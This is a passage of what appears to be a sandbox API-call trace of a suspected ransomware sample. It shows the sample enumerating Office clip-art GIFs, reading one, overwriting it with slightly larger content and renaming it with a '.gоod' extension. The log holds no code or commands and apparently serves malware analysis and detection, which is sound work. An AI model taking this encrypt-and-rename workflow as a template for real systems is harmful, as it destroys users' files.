lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0129.874] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11030b47, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11030b47, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11030b47, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf77, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143743.GIF", cAlternateFileName="")) returned 1 [0129.874] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10c77030, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143744.GIF", cAlternateFileName="")) returned 1 [0129.874] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10c77030, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143745.GIF", cAlternateFileName="")) returned 1 [0129.874] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10c77030, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x595, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143746.GIF", cAlternateFileName="")) returned 1 [0129.874] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1107d049, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143748.GIF", cAlternateFileName="")) returned 1 [0129.875] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1107d049, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1323, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143749.GIF", cAlternateFileName="")) returned 1 [0129.875] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1107d049, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143750.GIF", cAlternateFileName="")) returned 1 [0129.875] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1107d049, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x412, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143752.GIF", cAlternateFileName="")) returned 1 [0129.875] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1107d049, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143753.GIF", cAlternateFileName="")) returned 1 [0129.875] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1107d049, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143754.GIF", cAlternateFileName="")) returned 1 [0129.875] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x69f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143758.GIF", cAlternateFileName="")) returned 1 [0129.875] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x124a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00516L.GIF", cAlternateFileName="")) returned 1 [0129.876] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1107d049, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2017, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00531L.GIF", cAlternateFileName="")) returned 1 [0129.876] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11030b47, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11030b47, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11030b47, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00673L.GIF", cAlternateFileName="")) returned 1 [0129.876] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00703L.GIF", cAlternateFileName="")) returned 1 [0129.876] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2313, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00760L.GIF", cAlternateFileName="")) returned 1 [0129.876] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00780L.GIF", cAlternateFileName="")) returned 1 [0129.876] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110a3267, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110a3267, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01741L.GIF", cAlternateFileName="")) returned 1 [0129.876] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02039_.GIF", cAlternateFileName="")) returned 1 [0129.877] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x987, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02055_.GIF", cAlternateFileName="")) returned 1 [0129.877] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x37d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02073_.GIF", cAlternateFileName="")) returned 1 [0129.877] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x516, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02074_.GIF", cAlternateFileName="")) returned 1 [0129.877] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02077_.GIF", cAlternateFileName="")) returned 1 [0129.877] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1107d049, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x996, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02082_.GIF", cAlternateFileName="")) returned 1 [0129.877] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110c9494, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110c9494, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110ef705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02085_.GIF", cAlternateFileName="")) returned 1 [0129.877] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110ef705, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110ef705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110ef705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x581, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02097_.GIF", cAlternateFileName="")) returned 1 [0129.878] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110ef705, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110ef705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110ef705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02106_.GIF", cAlternateFileName="")) returned 1 [0129.878] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1113bba3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02116_.GIF", cAlternateFileName="")) returned 1 [0129.878] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110c9494, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110c9494, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110c9494, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x97f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02134_.GIF", cAlternateFileName="")) returned 1 [0129.878] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110a3267, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110a3267, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110c9494, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x579, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02187_.GIF", cAlternateFileName="")) returned 1 [0129.878] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110a3267, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110a3267, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4abc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02198_.GIF", cAlternateFileName="")) returned 1 [0129.878] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110a3267, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110a3267, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1653, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02201_.GIF", cAlternateFileName="")) returned 1 [0129.879] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110a3267, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110a3267, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110c9494, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x136b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02214_.GIF", cAlternateFileName="")) returned 1 [0129.879] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110a3267, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110a3267, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110ef705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02218_.GIF", cAlternateFileName="")) returned 1 [0129.879] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110a3267, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110a3267, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110ef705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02218_.GIF", cAlternateFileName="")) returned 0 [0129.879] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0129.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0129.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0129.880] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF", lpFilePart=0x0) returned 0x51 [0129.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0129.880] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143743.gif"), fInfoLevelId=0x0, lpFileInformation=0x35d1988 | out: lpFileInformation=0x35d1988*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11030b47, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11030b47, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11030b47, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf77)) returned 1 [0130.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0130.652] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF", lpFilePart=0x0) returned 0x51 [0130.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0130.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143743.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0130.675] GetFileType (hFile=0x63c) returned 0x1 [0130.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0130.675] GetFileType (hFile=0x63c) returned 0x1 [0130.675] GetFileSize (in: hFile=0x63c, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0xf77 [0130.676] ReadFile (in: hFile=0x63c, lpBuffer=0x36173d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x36173d0*, lpNumberOfBytesRead=0x1f9edc08*=0xf77, lpOverlapped=0x0) returned 1 [0130.696] CloseHandle (hObject=0x63c) returned 1 [0130.724] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF", lpFilePart=0x0) returned 0x51 [0130.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0130.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143743.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0130.725] GetFileType (hFile=0x63c) returned 0x1 [0130.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0130.725] GetFileType (hFile=0x63c) returned 0x1 [0130.725] WriteFile (in: hFile=0x63c, lpBuffer=0x369fe20*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x369fe20*, lpNumberOfBytesWritten=0x1f9edb18*=0xf80, lpOverlapped=0x0) returned 1 [0130.726] CloseHandle (hObject=0x63c) returned 1 [0130.726] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF", lpFilePart=0x0) returned 0x51 [0130.726] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF.gоod", lpFilePart=0x0) returned 0x56 [0130.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0130.726] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143743.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11030b47, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11030b47, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4a20b228, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf80)) returned 1 [0130.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0130.726] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143743.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\j0143743.gif.gоod")) returned 1 [0131.165] 